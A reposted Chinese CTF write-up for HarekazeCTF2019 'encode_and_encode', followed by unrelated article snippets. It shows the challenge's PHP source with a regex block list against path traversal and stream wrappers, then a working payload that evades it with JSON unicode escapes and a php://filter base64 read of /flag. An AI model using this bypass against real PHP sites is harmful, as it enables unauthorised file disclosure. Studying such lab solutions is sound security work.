[HarekazeCTF2019]encode_and_encode 1

news/2024/11/13 11:09:28/文章来源:https://www.cnblogs.com/z2gh/p/18299754

json绕过,waf绕过

打开之后可以直接看到源码

 <?php
error_reporting(0);if (isset($_GET['source'])) {show_source(__FILE__);exit();
}function is_valid($str) {$banword = [// no path traversal'\.\.',// no stream wrapper'(php|file|glob|data|tp|zip|zlib|phar):',// no data exfiltration'flag'];$regexp = '/' . implode('|', $banword) . '/i';if (preg_match($regexp, $str)) {return false;}return true;
}$body = file_get_contents('php://input');
$json = json_decode($body, true);if (is_valid($body) && isset($json) && isset($json['page'])) {$page = $json['page'];$content = file_get_contents($page);if (!$content || !is_valid($content)) {$content = "<p>not found</p>\n";}
} else {$content = '<p>invalid request</p>';
}// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]); 

可以看到

入手点在这里但是有两层walf


一个是对注入有walf一个是对输出结果会进行替换,这里用到了json_decode的特性,他会对\uxx进行转义,也就是说我们只要进行unicode进行编码就可以传入,
但是这里还有一个输出的waf,我们可以直接用base64过滤器进行访问给内容加密,这样就可以正常输出正确的base值,现在只需要传参即可

php://filter/read=convert.base64-encode/resource=/flag
{"page":"\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0072\u0065\u0061\u0064\u003d\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067"}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/742990.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Windows 11 中使用 Win10的文件资源管理器!速度立马起飞

Windows 11的文件资源管理器功能丰富,但性能略逊于Windows 10版本。新版本增加了选项卡、现代UI和预览窗格等功能,但也导致运行速度变慢。因此,一些用户更偏好旧版本的简洁和快速,甚至怀念经典的Ribbon界面。 好消息是,有一种方法可以永久恢复Windows 10的文件资源管理器。只需…

[NPUCTF2020]ezinclude 1

md5, 题目打开之后是什么都没有的,直接进行抓包可以看到是给了一个hash值的,而且告诉了 Set-Cookie中的Hash就是$md5($secret.$name)(经典脑洞) 如果$name=,则有$md5($secret.$name)=$md5($secret)=上面的Hash 则/?pass=上面的Hash即可,或者带上&name=传递空值访问f…

Python序列

Python序列 在Python中,序列类型包括字符串、列表、元组、集合和字典,这些序列支持以下几种通用的操作,但比较特殊的是,集合和字典不支持索引、切片、相加和相乘操作。字符串也是一种常见的序列,它也可以直接通过索引访问字符串内的字符。序列索引 序列中,每个元素都有属…

电影《抓娃娃》迅雷BT完整下载[MP4/2.12GB/5.38GB]高清版画质百度云资源[1080p]

在2024年的暑期档,一部由沈腾和马丽主演的爆笑喜剧电影《抓娃娃》横空出世,迅速吸引了广大观众的眼球。这部由闫非、彭大魔执导,彭大魔、闫非、林炳宝共同编剧的作品,不仅延续了开心麻花一贯的幽默风格,更在笑声中融入了深刻的家庭与教育议题,成为了一部既娱乐又具有深度…

vs2022导入optional库optional还报错,解决

修改c++标准为C++17以上项目属性->c/c++->语言 修改c++标准超过c++17VS默认用的标准太低了....这个是C++17引入的参考:https://stackoverflow.com/questions/62370027/namespace-std-does-not-contain-optional

后缀数组【jiangly模板】

目录后缀数组简介后缀数组可以用于什么场景如何实现后缀数组倍增法求后缀数组\(height\) 数组\(LCP\) (最长公共前缀)\(height\)代码模板参考文章后缀数组是一种非常强大的一种处理字符串问题的工具后缀数组简介前置知识:计数排序、基数排序后缀数组(Suffix Array)主要关系…

P2120 [ZJOI2007] 仓库建设

在解决形如 $f_i=\max(f_j+x)$,$x$ 为一些式子的时候可以考虑使用斜率优化,将 $x$ 转成函数然后求这些能取到的函数在 $x$ 上的最高或最低点,从而得到优化。题目大意 \(n\) 个工厂,每个工厂有 \(p_i\) 的货物,货物运输一个单位距离的费用是 \(1\),工厂可以建造仓库,费用…

如何对Linux系统进行基准测试5工具UnixBench

UnixBenchUnixBench是一款跨平台基准测试工具,用于评估各种类Unix系统(包括Linux、BSD和macOS)的系统性能。它提供了一套全面的测试套件,可评估系统性能的不同方面,包括:系统调用: 此测试衡量进行系统调用的开销,系统调用是应用程序与操作系统内核交互的主要方式。 文件…

解决vscode项目中无法识别宏定义的问题

在c_cpp_properties.json中的"defines":[]中定义的宏无法被识别。 从而导致代码中的宏开关无法生效,造成代码的阅读不便利。 排查路线是: 关闭所有插件,删除当前工程目录下的.vscode文件夹。 经过一系列排查发现是C/C++插件与clangd插件有冲突, 解决方法很简单,…

vs使用AnkhSVN冲突

he problem seems to be the (as the error hints) the propertybag within the solution file问题似乎是解决方案文件中的 propertybag(如错误提示的那样) So a work around of this issue:因此,此问题的解决方法:You have a "solution.sln" created with VS 20…